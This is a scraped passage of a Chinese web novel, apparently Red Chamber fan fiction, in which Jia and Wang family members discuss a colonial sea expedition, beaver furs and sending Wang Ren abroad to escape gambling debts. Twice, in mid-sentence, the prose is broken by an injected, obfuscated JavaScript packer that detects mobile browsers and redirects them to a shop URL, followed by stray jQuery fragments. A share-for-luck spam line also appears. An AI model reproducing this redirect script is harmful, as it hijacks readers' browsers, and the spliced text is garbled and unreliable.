因为来年就要出海,顾晓私底下嘱咐了徒嘉钰一番,先不要叫沅若怀孕,要不然的话,只能他先行一步了。而且之后,小孩子也得先在神京抚养到一定程度才能出海。这年头又不是后世医疗保障非常发达的时代,小孩子本身免疫力就差,这横渡大洋,吹个风感染个风寒什么的,可能就夭折了!与其将来后悔,乃至互相怨恨,不如等到了美洲那边再慢慢备孕生孩子。 徒嘉钰如今满脑子都是开疆拓土,他这个年纪,自己还是少年心性,怎么可能会期待什么孩子,因此,顾晓一说,也就答应下来。 这年头也有物理避孕手段,那就是鱼鳔,虽说用起来不是很舒服,但总比用药更安全可靠一些,也不伤身体。 徒嘉钰私底下跟沅若一说,沅若对此也颇为感激,毕竟这年头一般人真不会做到这样,真要是想要避孕的话,往往是叫女方用药,而不是叫男子觉得不适。 沅若如今也在为了出海做准备,或者说,锦乡侯府正在做准备。 所有的勋贵都面临一个问题,那就是爵位递降,机会太少,家中乃至族中子嗣繁衍生息,原本便是有些底子,但迟早也会捉襟见肘。 锦乡侯府因为族里头一直在做岭南做海贸生意的缘故,大家日子其实还不错。但随着人口增长,加上做这行的人越来越多,利润已经不如从前了,如今这般,不过就是惯性罢了!族里头一些困难的人家,早就拿不到生意的 分红,不得不叫家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627264|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的子弟跟着船做水手,混个辛苦钱,机灵一点的跟船的时候自个夹带一些货物,也能多赚一点。 锦乡侯府的买卖一直能做得下去,也是有爵位的缘故,等着爵位到了头,这买卖未必还能继续,与其这般慢性死亡,不如也跟着拼一把。 之前韩家就叫人回了老家,开始动员族人乃至同乡。他们本来就住在海边,那里都是盐碱地,还年年都有台风,便是有良田,一年收益也有限。大家对出海这种事根本不抗拒,而且还是跟着朝廷的王爷,锦乡侯府的女婿,这有什么不放心的!背井离乡个几年,回来就是衣锦还乡,子孙几代不用再受穷,这个帐很多人还是会算的。 而在京城,实际上,许多勋贵也开始蠢蠢欲动起来。 因为贾家是平王府的姻亲,如今竟是门庭若市起来。 大家其实不是想要跟着移 民拓疆,而是外头传得实在是太玄乎了! 说是那里河水里面流淌的都是金沙,路上走几步,就能被狗头金绊个跟头。之前船队的确从原住民那里交换了几块狗头金,都已经献上去了,顾晓直接献给了圣上和皇后,还有人在宫里见过。 这道听途说之后,已经有人说那里就是一座还未开采的金山,大家只要一想,都觉得眼前都是金灿灿的色彩,这谁也把持不住啊! 只是宫里已经放出风声出去,淘金可以,那得先跟着移 民过去才行! 大家是为了赚钱,黄金再好,鸟不拉屎的地方花都花不出去,那有什么意思。大家够不着几个王爷,还够不着贾家嘛! 连着内宅的一帮女眷,这些日子耳边听到的也是这些话。 黛玉对于什么黄金根本不感兴趣,倒是听闻那被西洋人称作是美洲的地方,原住民与中原百姓相貌相似,一些风俗也与中原上古有些雷同,疑似是当年殷人亡国后东渡之后的子孙,不免就来了兴趣。 “那里既然是殷人东渡之后的子孙,也是我华夏苗裔,该称殷洲才是,叫什么美洲! 玫姐儿听了,不免笑道:“谁叫人家先发现了那里,当地的原住民也没给自己的地方取个名字,咱们落后一步了呗! 黛玉听了,不免叹息:“可惜我不是个 男人,要不然,我也想出去看看海外风光! 一边探春虽说没有点头,面上却也带了点憧憬。她在家看似锦衣玉食,实际上,也是个不甘心窝在内宅的。尤其跟她长在一起的是贾宝玉,她很多时候都恨不得跟他换一下,明明是个男人,可以出去建功立业,偏偏待在后宅里头,每日里就知道一味玩乐!当然,贾宝玉对姐妹们都很好,可是,探春这个年纪,已经深切地感受到了作为女子的无奈之处。 嫡母是个面上慈悲的,对她其实并不多管,也就是占了个母亲的名头,探春对此其实还是有些感激地。生母却是个浅薄无知的性子,整日里只想着讨好老爷,好将来多给环儿争一份家产,平时里满脑子也都是些蝇头小利,还异想天开想要帮着保管自己的月钱,还叫她要帮趁着环儿,以后还得环儿帮她撑腰云云,这都叫探春觉得烦不胜烦。加上环儿看起来也远没有宝玉伶俐,探春愈发觉得不乐意起来,就因为环儿是个男孩,自己就要为这个明显平庸的弟弟铺路吗? 湘云也是如此,叹道:“咱们读书的时候,看到什么大漠孤烟直,长河落日圆,唯有想一想而已!也亏得那些诗人能亲眼看见,轮到我们,竟是只能闭门造车,凭空臆造了! 佳婉这个做嫂子的听着这些小姑子在那里长吁短叹,不免失笑:“你们啊,是在家里待得太舒服了,才觉得外头好!你们问问林妹妹和薛姑娘,她们都是出过远门的,光是这路上就有许多不便了,何况是出海! 佳婉自觉自己是个俗人,去过几次庄子上都觉得够辛苦的了,真要是出海,到时候什么都得从零开始,她铁定是受不了的。 薛宝钗只在一边含笑,她很想要讨好佳婉这个皇家郡主,但是认识这么长时间,委实觉得难以下手。 佳婉从小到大,日子过得不要太舒服,她生下来就养在周氏那里,周氏是徒宏远第一个女人,给她一个女儿就是给她一个依靠,周氏对佳婉素来疼爱,并不曾教她受半点委屈。等到徒宏远死后,顾晓当家,更是不可能为难几个孩子,府里头经济情况一直蒸蒸日上,因此,佳婉那是真的金尊玉贵养出来的。 薛宝钗那点收买人心的本事,可以糊弄一下那些没什么见识,目光短浅的下人,对于佳婉来说,薛宝钗那点子东西,糊弄她陪嫁的丫头都不够,更别说她了! 薛宝钗尝试着交好佳婉的丫头无果之后,便暂时偃旗息鼓,心里却对皇家富贵愈发向往起来,一个郡主的丫头都能这般眼高于顶,那等皇子王爷又会是何等模样! 佳婉对薛宝钗倒也没有恶感,毕竟,这姑娘生得珠圆玉润,性情也温婉可亲,便是出身差了点,对于佳婉来说,也算不上什么!最重要的是,对佳婉来说,薛宝钗就是八竿子勉强打得着的亲戚家的孩子,她其实没必要太在意薛宝钗的感受。 这会儿佳婉一发话,薛宝钗赶紧就说道:“郡主说的是,我们之前一路从金陵过来,先坐马车,之后又是坐船,马车坐一会儿还好,连着坐几天,腿都要伸不直,等着坐船之后才好些,却也只能在船舱里头转转,哪里比得上在家里自在。她其实原本想要跟着贾家几个姑娘叫佳婉嫂子,但是却莫名有些畏惧,最后几个姑娘里头,就她只叫佳婉郡主。 湘云却是大咧咧说道:“无非就是路上吃点苦罢了,我肯定不怕的! 作者有话要说 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 196 章 这边说话间,又有... 第196章这边说话间,又有 这边说话间,又有人过来传话:“郡主,王府那边送了几件大毛衣裳过来,说是叫郡主给分一分!” 船队从北美回来,带来最多的商品就是各种皮毛,牛皮什么的也就算了,连着大量的牛角,都被兵部和工部给收了去,用来做战鼓,做皮甲,熬胶,做牛角弓什么的。这年头虽说已经有了火器,神机营用的就都是火器,但是弓箭并没有被淘汰,毕竟,工业化时代到来之前,无论是制作弓弩,还是制作火器,那都是手工业,一根根枪管,那都是铁匠锤出来的,这生产效率能有多高。再加上这年头用的还是□□,因此,杀伤力终归还是差了些。而且火器的准头也是个问题,所以,朝廷宁可花钱铸炮,也懒得在火枪上多费功夫,单兵远程武器,依旧还是以弓箭为主。 本来船队就回来得晚,皮毛硝制水平也不是很好,带回来之后还得重新处理。好在那边换到的河狸皮那是真的好,油光水滑,毛质细密,比起貂皮什么的也不差。顾晓便叫人用河狸皮做了不少大毛衣裳,但是做好之后,也已经入冬了,横竖给自家姑娘,也不用挑剔什么时候了,便直接叫人送了过来。 佳婉忙起身说道:“来的是谁,快请进来喝杯茶暖暖手!我这边衣裳多着呢,还要劳烦母妃惦记!” 来的是正院的两个管事媳妇,这会儿带着几个婆子将几个大包裹抱进来,又一起给佳婉请安,佳婉忙叫人给了一等的赏封,又让她们坐下喝茶。 等着两个管事媳妇推脱不过,只敢在脚踏上坐下,佳婉才问道:“近些日子都说大哥哥和三弟来年跟着大殿下出海的事情,如今府里头如何?” 一个管事媳妇忙起身说道:“府里头一切都好,不少人都要跟着两位王爷一块出去呢!娘娘说了,跟着一块出去的,家里头赏银百两,到了那边,不论男女,都能分到一百亩地,也就是奴婢几个胆子小,要不然,也想要跟着出去!” 黛玉听这管事媳妇真有点憧憬的样子,愈发好奇起来,她看了佳婉一眼,才问道:“这位姑姑,那海外难道真的地大物博,要不,怎么每人都能分到一百亩地?” 那媳妇忙解释道:“奴婢三舅家的侄女婿就是跟着一块出海的,奴婢听说,那边大片 的好地都荒着,那里的人,都不种地的,就叫地荒着,然后靠打猎为生,要不然,哪有这许多好皮子!这次给郡主带过来的就是那边的河狸皮,比起草原那边进贡的还要好呢,听闻那边一条河流里头就有好几群,光是靠着捉这个,那些人就饿不着!他们也不知道纺纱织布,一年四季就穿各种皮毛。” 说到这里,这媳妇都念叨起来:“作孽哦,这么好的地方,怎么就不知道种地呢!” 黛玉听得两眼放光,这等异国风情,她是真的很好奇。 佳婉见几个姑娘都觉得有趣,不免也跟着问了几句,瞧着两个管事媳妇也知道得不多了,才算是将人放过,意犹未尽地停了下来。 打发走了两个管事媳妇,佳婉便带着几个人解了包袱,看里头的大毛衣裳,都是做成披风或是大氅的式样,用的也都是比较明丽的缎面,也有几件呢面的,颜色略暗沉一些,应该是给长辈准备的。 佳婉算了一下数量,很快就分派了下去,一件石青色的呢面褂子送到荣庆堂给贾史氏,一件香色的呢面褂子给张氏,给王氏的却是一件驼色的褂子。佳婉自个留下了一条银红的,隔壁王熙凤得了一件石榴红满绣缎面的,李纨得了一件杏红折枝缎面的,轮到下头几个姑娘,玫姐儿得了一件玫红的,黛玉得了一件绛红的,湘云得了一件海棠红的,探春得了一件水红的,连着隔壁年纪还小才取了名字的玥姐儿也得了一件珍珠红的。薛宝钗这边也没落下,得了一件蜜合色的。 薛宝钗看着不声不响,心里却有些憋屈,别人的都是红,自己却是蜜合色,虽说自己平常穿戴就是这样,但是真的这么分派,她又有些不甘心。 佳婉才不会关心薛宝钗的心情,薛宝钗这样的身份,按理连穿大毛衣裳的资格都没有,给她一件都已经是看在那拐弯抹角亲戚身份的份上了。 屋里头很温暖,这大毛衣裳也用不着穿,大家都新奇地感受着河狸皮毛的柔软细密,愈发对那万里之外,听起来就非常丰饶的地方好奇起来。 给自家人的自然是最好的皮毛,但是很快,也有一些次一等的皮毛开始在市面上出现,一下子就引起了许多人的注意。这回,即便以为金矿可能是编造出来的那些人,也开始疯狂了! 皮毛这玩意从来都是奢侈品,像是什么紫貂, 玄狐之类的是最上品但问题是这些动物才多大的个头这年头便是有人工养殖规模也很小何况狐毛虽然被笼统地称之为“大毛”但只有“狐膆”、“狐肷”和“狐脊”算得上是真正的“大毛”其它部位都不能算。 这河狸皮就不同了整体就都是大毛而且这玩意因为是生活在水里的皮毛本身就能防水穿在身上自然是更加暖和。几条河狸皮就能做一件成年人的大毛衣裳了这无疑降低了成本而且朝廷礼制里面也没规定这玩意谁能用这就代表着这玩意市场也会很大。一时间越来越多的人对出海感兴趣起来。 这三天两头有人上门还有许多拜帖流水一般送过来贾家这边简直是烦不胜烦。贾赦原本当差还有些懈怠如今恨不得晚上都住在衙门里头。贾政嘛一方面是耻于言利另一方面也是有自知之明知道自己在这事上根本插不上脚所以每日里也老老实实往工部跑。工部那边大家早就将他当做摆设一般反倒是没人来打扰他。至于贾珍他如今性子也算是沉稳了不少王熙凤可是个聪明人长得好看又有心机手段那真是比起寻常男子都要厉害十倍。 与原著里头贾琏不同王熙凤是早知道贾珍的德性自个背后也没什么强力的娘家撑腰没有底气辖制贾珍。但她很好地发挥了自己的美貌贾珍是个颜控品味还是有的不像是原著里的贾琏略平头正脸的都不放过能比王熙凤生得好看的人是真不多王熙凤又是欲擒故纵又是含羞带怯又是笑靥如花……总之将贾珍弄得神魂颠倒一时间居然老实了起来。倒是叫徐氏为此很是松了口气对王熙凤这个儿媳妇也愈发满意了起来。 不仅如此王熙凤对贾蓉这个继子那也是视若己出虽说因为两人年龄相差不是太多的缘故不好养在自己膝下但王熙凤但凡想要照顾好一个人那真是无一处不妥帖的。贾蓉的衣裳鞋袜饮食起居王熙凤都惦记着又表示贾家家学这么多年一个秀才甚至是童生都没考出来可见是代儒这位老太爷水平不行人也糊涂了虽说不好为了家学的事情驳了太爷的颜面但自家孩子还是得上心一些。 隔壁荣国府一个举人一个秀才说不定过几年就是一个进士一个举人了宁国府这边本身血脉就稀薄 代里面就一个贾蓉,最多加上个贾蔷,总不能明明宁国府才是族长嫡系,以后还要仰荣国府鼻息。所以,得好好教育两个孩子才行。王熙凤并没有考虑什么原配的孩子大了之后,会不会威胁到她以后的孩子,别说孩子以后没出生,便是出生了,她也不怕!宁国府的爵位再传一代也就那样了,王熙凤并不放在眼里。 她素来是个精明强干的,眼睛里也容不得沙子,原本徐氏因为丈夫出家,儿子不成器,那叫一个心力交瘁,根本就精力不济,以至于下头常有糊弄之事。轮到王熙凤,那叫一个雷厉风行,又有徐氏支持,很快就将家里上上下下都理顺了,连着辽东那边的庄子,都给换了庄头,免得他们再闹出什么十一月份下冰雹的荒唐言论来。她一边打理宁国府的产业,一边私底下也在为自己置产,徐氏看她对家里尽心尽力,也将府里几个产业送给了她,顿时叫她愈发振奋起来,也愿意为了宁国府的将来去考虑。所以,还是叫贾蓉和贾蔷好好读书,等他们有所成就了,自己的孩子也大了,到时候也能沾光。 徐氏对此深以为然,自从玥姐儿出生,宁国府这边似乎一下子又生机勃□□来,儿子懂事了,丈夫老老实实在道录司任职,不再一副看破红尘的模样。既是如此,自然应当趁热打铁,将下一代好好教养起来,等以后王熙凤再生了孩子,兄弟齐心,宁国府也不至于跌落门楣。 但如今大批的人跑到宁国府问什么海外之事,就叫宁国府一干人不知道如何是好了! 没错,贾敬以前就跟贾赦关系好,贾珍跟贾赦也一度臭味相投,连着王熙凤这个嫁进来没两年的媳妇,也更亲近张氏这个伯母,而不是王氏那个姑妈。 但问题是,这等事情,宁国府根本就做不了主啊! 王熙凤倒是对此很有想法,她很想要将王仁塞进出海的队伍里。 按照她母亲的说法,王仁的性子,跟当年的王子胜简直一般无二,王熙凤很怀疑这位将来又是个祸害,很可能毁掉自己来之不易的好生活。光是将他塞到军营里面有什么用呢,他马上要娶妻,他们家又不像是宁国府,贾珍啥也不干就能锦衣玉食,王仁得有个合适的营生才行。 因此,徐氏烦恼的时候,王熙凤却是说道:“太太,依我说,这也是件好事!我嫁过来之前就在西府里头,那会儿就 知道,咱们贾家许多族人,就是靠着祖宗的余荫混日子,几代下来,都精穷了,也不想着找个出路,只想着到府里来打秋风,长此以往,也不是个事! 徐氏一愣,荣宁街上的贾家族人分为两种,一种就是类似于贾代儒贾代修这样,也是两位老国公爷的血脉,但因为是庶出,所以,当初分家的时候拿了一笔家产,就从府里搬出去了。另一种其实就是原本贾家的族亲,因为当年祖上跟着两位老国公上过战场,之后跟着一起到了神京,两位老国公给他们赏了银子,赐了田地产业,叫他们依旧依附两府居住,指望的是他们子孙依旧给贾家的后人做亲兵。 但事实就是,那庶出的几房也就罢了,即便当初分到的财产比起袭爵的主支简直是天上地下,但总算还过得下去,并且因为血脉的缘故,还都能在族里混个营生。但其他那些就不一样了,祖上的确是跟着两位老国公爷流过血的,后代却不肯再做这刀口上舔血的买卖,像是到了贾代善贾代化这一代,他们的亲兵已经不再是族亲,而是家丁。而那些族亲却自觉祖上有功,很是理所当然地躺在祖宗的功劳簿上,没钱了就伸手找两府接济,孩子也送到家学里头薅羊毛,总之就觉得是两府欠了他们的一样。 两府也是要脸面的,便是不满,但或多或少也得给一些,如今这些人越来越多,长此下去,总不能以后自家日子不过了,有钱都给这些族人花吧! 徐氏是个心软的,这会儿不免说道:“话是这么说,总不能逼着他们出去吧! 王熙凤赶紧劝道:“太太,我之前看了一下族谱,咱们两府比起荣宁街上那些族亲,几乎是子嗣不茂了!他们各家便是没有姨娘的,生个三五个也是寻常,这才几代功夫,荣宁街那么多宅子都要住不下了!等这一茬的再长大,咱们两府总不能为了他们再买一条街下来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689549|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !要我说,都多少年了,便是他们祖上跟着两位老太爷出生入死,如今子孙也把该享的福享够了!如今这出海,也就是一开始辛苦一些,到了地方,就能有一百亩的地,再跟着做点买卖,几年功夫,就是富家翁,不比留在这边年年打秋风来得强!也就是我现在还没生,若是以后我有了孩子,遇上这样的机会,我也是愿意叫他出去拼一拼的! 徐氏被王熙凤说得有些动心,不过还是笑道:“你是现在没孩子 ,所以能说出这个话,真要是有,可就未必了! 王熙凤忙说道:“这可说不准,要是这事有门,我还打算回去跟我妈说一下,我哥哥如今这样也不是个办法,王家当年的事情,也得罪了不少人,我哥哥亏得是个不成器的,要不然,想要干点什么事只怕也干不成。王家祖上好歹也风光过,总不能到了我们这一代,就彻底落魄下去!留在中原,还不知道多少年才有机会,还不如趁着哥哥还年轻,出去闯荡一下!他也学过一些弓马,又去军营里头厮混了两年,总该学了些本事,放在中原是没机会施展了,到了海外,那就是大有可为! 见王熙凤说得头头是道,徐氏听得愈发欣慰起来:“你这话说得有道理,但是啊,你妈就你们一双儿女,可未必舍得呢! 王熙凤笑道:“我就是要多劝劝她,舍得个几年,给下头子孙争一条路,又有什么不好的呢? 王熙凤第二天果然回了娘家一趟。 王子胜夫人自王熙凤出嫁之后,就将原本的宅子卖了,在距离荣宁街不远的花枝巷买了个单门独院的小宅子,王仁不在家,她就带着两个婆子住,一个婆子浆洗做饭,一个婆子买菜看门。 王熙凤回来,王子胜夫人也是喜出望外,一双儿女都不在身边,她在家是真的觉得寂寞,居然都开始想念起死了多少年的王子胜了! “好孩子,你怎么回来了!王子胜夫人忙不迭地叫婆子去街上买菜,“今儿叫刘大娘给你做你喜欢吃的酒酿清蒸鸭子,再给你炸几只鹌鹑…… “妈,不用这么麻烦,随便吃两口就是了! 话是这么说,她也带了一件外头买的河狸皮大毛衣裳回来,就要先叫王子胜夫人试,王子胜夫人心中欢喜,嘴上却是说道:“有好东西你自己留着便是,带回来给我作甚,回头叫人知道了,要说你拿着婆家贴补娘家了!我每日里待在家里不出门,且也用不上这些! 王熙凤忙说道:“我也有呢,还给哥哥准备了一件,已经叫人给哥哥捎过去了!这皮子是海外来的,比寻常的毛料便宜,还厚实!这两件衣裳都是我拿自己的钱在外头买的,我自己的钱,贴补娘家又怎么了? 王 子胜夫人忙说道:“这话说得糊涂,什么你自己的,外头哪里管这些!这么多年,咱们娘几个日子也过得艰难,还得防着外头说闲话,我叫你小小年纪就嫁出去,也是为了个人言可畏四个字!你啊,平时也得注意一些,就有那一起子人,从来见不得人好,就知道四处嚼舌,被这些人知道了,他们胡沁几句,你却是没法分辨清楚!” 王熙凤见王子胜夫人还要絮叨,不免有些不耐,赶紧打断,说到:“妈,我知道了,以后肯定小心!这衣裳你先试一下,这皮子好得很,回头面子不鲜亮了,拆了面子换上新的,还能接着穿,算不得靡费!” 王子胜夫人心里受用,嘴上说道:“我这个年纪,还鲜亮不鲜亮的。这衣裳穿出去,没得叫人惦记呢!” “那就在自家院子里穿,横竖妈你平常也不出门!”王熙凤看着王子胜夫人穿着挺合身,不免笑道,“妈你可别拿着压箱底,等着留给嫂子,这缎面,以后嫂子可未必喜欢!” “胡说什么呢!”王子胜夫人嗔道,“这嫁了人,嘴巴愈发不饶人了,什么话都敢说!唉,你哥哥的婚事也是个问题,他这个性子,寻常小门小户的怕是辖制不住他,但是咱们如今这个情况,想要聘个好的也不容易!” 听到王子胜夫人发愁,王熙凤心中一动,赶紧说道:“妈,我这次回来,也是为了这事呢!” 王子胜夫人笑道:“莫不是要给你哥做媒?”心里却也有些期盼,王熙凤认识的,应该是贾家的族亲,给王仁聘个贾家旁支的女儿,倒也是不错。 王熙凤忙摇了摇头:“这倒不是,女儿只是想着,哥哥如今高不成低不就,无非就是哥哥如今没个正经的营生,咱们家也败落了,没了多少家底,好一点的人家,便瞧不上咱们!归根结底,还是得哥哥出息才行!” 王子胜夫人听了,不免咬了咬牙,又忍不住骂道:“都怪你老子那个死鬼,好好的日子不过,将家都给折腾完了,要不然,哪里就成现在这样了!” 王熙凤安慰道:“妈,也不能全怪我爹,爷爷那辈上就种下了祸根了,若是之后再被人发现,指不定还要严重呢!” “罢了罢了,不说这些了,凤儿你之前说回来为了你哥哥的事情,难不成是能给你哥找个前程?”王子胜夫人想起王熙凤之前的话,忙问道。 王熙凤笑道:“妈,你在家,可听说海外的事了?” 王子胜夫人一拍大腿:“可不是听说了吗?都说那里上了岸就是金矿,地上的沙子都是金沙,那边的人都拿狗头金做装饰!哎呦喂,这样的好地方,怎么咱们王家祖上没遇上,要是遇上了,那才是享不尽的富贵呢!” 王熙凤听母亲这般言说,便说道:“如今遇上也不晚啊!” 作者有话要说 第 197 章 柳湘莲 第197章柳湘莲 王熙凤直接劝道:“妈,我虽说年纪小,当年的事情知道得不多,但也明白,咱们王家之前落得那个地步,便是姻亲也没有援手,可见当年凶险,或者说,当年王家也是得罪了不少人!这才过去十来年,只怕还有人惦记着呢!大伯那边听说在平安州那边折腾了十来年,也没个起色,可见只要是在中原,有人就是不想咱们王家起来!” 王子胜夫人听着也觉得有道理,不免又有些慌乱起来:“那可如何是好,你哥总不能一直这样!” “中原不行,那就出去啊!”王熙凤趁机说道,“这出海,又不是去了就不回来了,别的不说,海外的什么金子皮毛,总得运回来吧,肯定年年都有船队往来的。我回头去求一下隔壁伯母,到时候叫哥哥跟着人家王爷,做个护卫,说不定哥哥还能在海外当个官呢!” 王子胜夫人听了,有些舍不得,却不好直说,只得说道:“你哥哥,能吃得了这个苦?” 王熙凤忙趁热打铁:“哥哥这两年在军营不也待得挺好的,出去起码比在军营里头自在一些!” 王子胜夫人左思右想,还是犹豫不定,叹道:“等你哥哥回来再说吧!” 王熙凤忙说道:“那可得早点下决定,如今天天有人跑府里头问这事,不知道多少人想要借着咱们家攀上王府,搭上这条路子呢!若是晚了,几个王爷身边亲卫名额可就满了!” 被女儿这么一说,王子胜夫人也有了些紧迫感。许多事情就是这样,一旦知道还有很多人在争,那么,便是一坨屎,都香喷喷起来,何况这事的确有利可图呢! 王子胜夫人没犹豫几天,王仁那边回来之后听到了这个消息,却是一口答应了下来。 他也不是真的想背井离乡,这中原花花世界他还没怎么享受过呢,谁去那海外蛮荒之地折腾。主要是他没办法,他跟贾珍不同,贾珍被塞进军营里头,贾赦一直叫人盯着,连着他身边的人都被仔细打听过品性,不是那等混账性子。 而王仁就是贾家的亲戚,贾家这边就没那么上心了,只叫那些人好生操练王仁,叫他知道什么叫做劳其体肤,困乏其身就好。 王仁本身是个不安分的,军营里头也有一些兵痞。平时看着还好 ,私底下也会有一些不法之事,比如说坐庄设赌。 王仁一开始被弄得七荤八素,后来渐渐习惯了,就有了闲心找乐子,结果就跟他老子一样,见到赌档就挪不开脚。 好在他也知道,自家底子薄,所以赌得很小,没钱了也就收手。结果上次喝多了酒,一时上头,竟是一下子输掉一百多两银子。 放在王家没败落的时候,这点子钱都不够吃一顿戏酒的,但如今什么时候,王熙凤的嫁妆都是贾家那边置办的,王子胜夫人有点余钱就买地,家里就没多少现钱,等着王熙凤出嫁了,连着一些还算值钱的摆件帐幔之类都收起来了。原本每个月还给他一点钱零花,如今他入了军营,一个月也有些军饷,这点钱都没了。 因此,王仁到哪儿能弄到一百多两银子来还赌债!亏得王熙凤托人给他送了一件大毛衣裳过去,他先用这个抵了一部分赌债,算是缓了口气,但一件大毛衣裳,他好说歹说,人家也只肯算三十两银子,这还有七八十两呢!加上利息,王仁一想都觉得眼前发黑。 想到当初他爹就因为染上了赌瘾,叫堂堂统制伯府一朝败落,他如今也是胆战心惊,原本还有几分瘾头,想到已经欠下来的那么多赌债,顿时三九寒冬都一身冷汗。 至于说死扛着不还,他是不敢的。能在军营里面弄赌档的人,哪个是省油的灯,背后肯定也有人。便是他背后有贾家撑腰,但贾家难道会为了一点赌债,就跟京营里头的几个军头翻脸吗? 何况,不到万不得已,王仁根本不想麻烦贾家,或者说,不想麻烦王熙凤。这个妹妹以前也就罢了,如今愈发威风起来,叫他这个哥哥都有些抬不起头来。他母亲还说什么王熙凤嫁了好人家,以后还能帮衬他什么的。王仁就觉得,真叫王熙凤帮什么忙,只怕回头就能拿捏他一辈子。 原本王仁回去,是想要偷偷在家搜罗一下,他小时候应该还有几样金银项圈锁片之类的,还是家里败落之后,王子胜夫人厚着脸皮带着儿女到几个亲戚家拜年,得到的礼物。之前都被王子胜夫人收了起来,王仁琢磨着,这也算是自己的东西,找出来的话,也能换个不少银子,足够将这笔赌债还清了。 结果到家之后,还没来得及悄悄翻箱倒柜,就听说了这事,顿时心中一动,麻蛋,自己本来就是喝多了酒 被那几个王八蛋给坑了要不然但凡他清醒着谁敢赌那么大!可见那些人存心坑自己!以前是没办法这低头不见抬头见的赌债肯定得还。但如今既然能跑路自己在军营里头又隐姓埋名这些人总不能追到自己家里来要债 这般一想王仁立马说道:“妈妹妹说的有道理这留在京城安全倒是安全了可是一辈子不能出人头地只能做个平头百姓有什么意思!我也便罢了是个没出息的等着你孙子出生了总不能也是这样吧!至于靠着妹妹什么的妹妹本来就是高嫁在贾家那边小心谨慎还不够呢如何能老是贴补娘家!还不如我这边趁着年轻出去打拼一下到时候多赚些钱置办一些土地妈你也能做个老封君岂不是好?” 儿子都答应了王子胜夫人便是不舍也说不出口只得说道:“既是如此回头我便去跟你妹妹说这事咱们一起去求了荣国府大太太请她去王府说项给你个亲卫的名头!不过你到了那边别的也罢了可不许娶什么蛮夷女子为妻还是得老老实实娶个中原女子要不然我可不认这个儿媳妇!” 王仁满口答应下来他脑子里都是海外的黄金皮毛娶妻不娶妻的他根本不放在心上。 王子胜夫人是个行动力很强的人要不然也不会让王熙凤十二岁就嫁到宁国府既然王仁有了决断那么早做准备肯定比晚做来得强。 王子胜夫人自去宁国府找女儿说话而王仁也从亲妈那里讨了一点碎银说是打算在军营里面请人喝酒打算先将那赌债糊弄过去。军营里头只知道他叫王大家里有个远房亲戚做个小官妹妹长得漂亮给个当官的做了续弦别的一概不知。 他其实被涉赌的人盯上也是因为他曾在酒后吹嘘过妹妹嫁到大户人家进门就开始管家自己都能跟着沾光然后平常果然看他露出点好东西来才叫人觉得他是一头肥羊可以开宰了。 王仁提了一包点心去找债主赔笑表示自己暂时没钱自家妹妹私底下给了自己一件大毛衣裳已经受了些责难总得等风头过了才 行。不过过些日子就过年了,到时候自己应该能弄到一些银子,还请宽限一阵。 人家放赌债的人,本意就是为了捞钱,自然不会真的逼着欠债的人走到绝路,这细水长流的,还有驴打滚的利息滚下来,岂不是一开始就逼得人鱼死网破来得好。等到对方榨不出油的时候,再找上门叫对方卖儿卖女嘛! 因此,王仁这么一说,对方略拿捏了几句,就答应了下来,王仁因此松了口气,心中冷笑,等着过年之后,小爷可就不伺候了,你去找那个莫须有的王大要钱吧! 实际上,没等到过年,王仁就离开了军营。 张氏当年报复了王家一回,直接导致了王家败落。但如今瞧着人家孤儿寡母的,又觉得可怜。因此,王子胜夫人和王熙凤母女两个求上门来,张氏就心软了。何况,王家落到这个地步,张氏已经觉得够了,总不能叫人家子子孙孙继续沦落下去。 实际上,张氏也想着叫张家的人也跟着出海,留几个人在中原等着起复,其他的人还是出去另立支脉吧,总比等待那个越来越渺茫的希望来得好!毕竟这么多年过去了,张家老太爷便是再多的徒子徒孙,如今也是人走茶凉。朝堂上各个位置早就有了人,谁会甘心给张家腾出位置来! 王仁或者说王子胜夫人信不过王家的人,也不想带金陵王家的人上船,所以才要求一个亲卫的名头。而张家,那是可以带着大量族亲乡亲一起出去的,那就是大股东,而不是搭顺风船的,自然不能一概而论。 张氏因此跑了一趟王府,跟顾晓说了此事。 虽说原著里头,王仁疑似卖了巧姐这个亲外甥女,但是,如今剧情虽说不至于面目全非,但到了北美那边,人生地不熟的,王仁能折腾出什么恶事来,何况,这等开拓之事,说不定还真得弄个不讲规矩的过去,才更痛快一些。因此,顾晓干脆一口答应了下来,回头就跟徒嘉钰说了这事。 徒嘉钰对此倒是挺欢迎,他原本还为这事发愁呢,毕竟,王府原本这些侍卫都拖家带口的,这些年王府给的待遇也挺高,因此,他们中绝大多数都是不愿意放弃如今的家业,跟着出海。 徒嘉钰出去,身边肯定要有些能信得过的人,徒嘉珩那边,自然有太上皇和圣上皇后帮忙安排,他这边总不能都从顾家和韩家的人里挑,一听 说王仁的事情,顿时也有了主意。 这京里头,多有那等落魄的世家子弟,他们真的愿意就这么在京中落魄下去,瞧着嫡支继续荣华富贵,他们这些旁支却只能日渐沦落? 徒嘉钰琢磨了一下,找贾瑚询问了一下四王八公中那些旁支子弟,甭管是不是出挑,只要有勇气出去拼一拼,徒嘉钰总是肯要的。 贾瑚略微思量了一下,很快就想起一个人来,说道:“有个人,你要是能说动他,他倒是能给你拉出一票人来!” 徒嘉钰一愣,问道:“你说的是谁?我认识吗?” 贾瑚笑道:“你就算是不认识,也应该听说过他的名头!” 